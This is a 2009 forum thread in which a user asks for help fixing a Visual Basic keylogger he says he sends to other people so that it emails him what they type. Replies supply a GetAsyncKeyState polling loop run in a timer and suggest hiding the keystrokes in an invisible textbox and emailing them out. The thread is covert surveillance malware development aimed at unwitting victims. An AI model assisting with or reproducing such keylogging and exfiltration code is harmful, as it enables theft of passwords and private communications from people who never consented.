10 replies to this topic

[cnkilla187]

iv made a key logger that u send to people, and it sends u a email with the stuff they type but it was made form lots of other peoples work that i put togeather from different programs anyway im redoing it completely and i need this code to work:

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

but it doesn't work on my vista 64 bit and i dont know how get it to work iv tried changing the user32 to user64 it don't work i think the GetAsyncKeyState Lib should be changed, but to what? if u can help it would be greatly appreciated

[iBotPeaches]

I do not have Vista therefore I cannot help. I hope somebody will for you.

[Dark Slipstream]

That code isn't system wide automatically. You have to loop it in a timer, constantly.

Add a timer, put this code:

For i = 1 To 255
     result = 0
     result = GetAsyncKeyState(i)
     If (result = -32767) Then
          TextBox1.Text = (TextBox1.Text + Chr(i))
     End If
 Next i

in the timer.

Edited by Dark Slipstream, 16 June 2009 - 04:05 PM.

[cnkilla187]

That code isn't system wide automatically. You have to loop it in a timer, constantly.

Add a timer, put this code:

For i = 1 To 255
     result = 0
     result = GetAsyncKeyState(i)
     If (result = -32767) Then
          TextBox1.Text = (TextBox1.Text + Chr(i))
     End If
 Next i

in the timer.

ya it is i just didnt put that it was sorry any other ideas?

[Dark Slipstream]

:/, that's a poor way of recording the keyboard, so I'm already out of ideas. :S

The better way is extremely well guarded...

[cnkilla187]

:/, that's a poor way of recording the keyboard, so I'm already out of ideas. :S

The better way is extremely well guarded...

i have another way but its not mine and its a ddl, do u know how i can open it and read it? or change it?

Edited by cnkilla187, 16 June 2009 - 07:29 PM.

[T3A guy]

That code isn't system wide automatically. You have to loop it in a timer, constantly.

Add a timer, put this code:

For i = 1 To 255
     result = 0
     result = GetAsyncKeyState(i)
     If (result = -32767) Then
          TextBox1.Text = (TextBox1.Text + Chr(i))
     End If
 Next i

in the timer.

Why do you put "Next i" and not just "Next"

[iBotPeaches]

Its good practice, since if you have 12 loops together and 12

Next
Next
Next
Next

You can know which one is which with their corresponding counter next to it.

[Dark Slipstream]

Its good practice, since if you have 12 loops together and 12

Next
Next
Next
Next

You can know which one is which with their corresponding counter next to it.

That, and it's difficult if you have several loops to pinpoint which one is which.

[SotG Caboose]

Couldn't you just make it to where like if you press a key, it will put the character of the key in an invisible textbox? then send the text in the textbox to your email or whatever?

[cnkilla187]

Couldn't you just make it to where like if you press a key, it will put the character of the key in an invisible textbox? then send the text in the textbox to your email or whatever?

ya i made one of those but i want to make a newer better one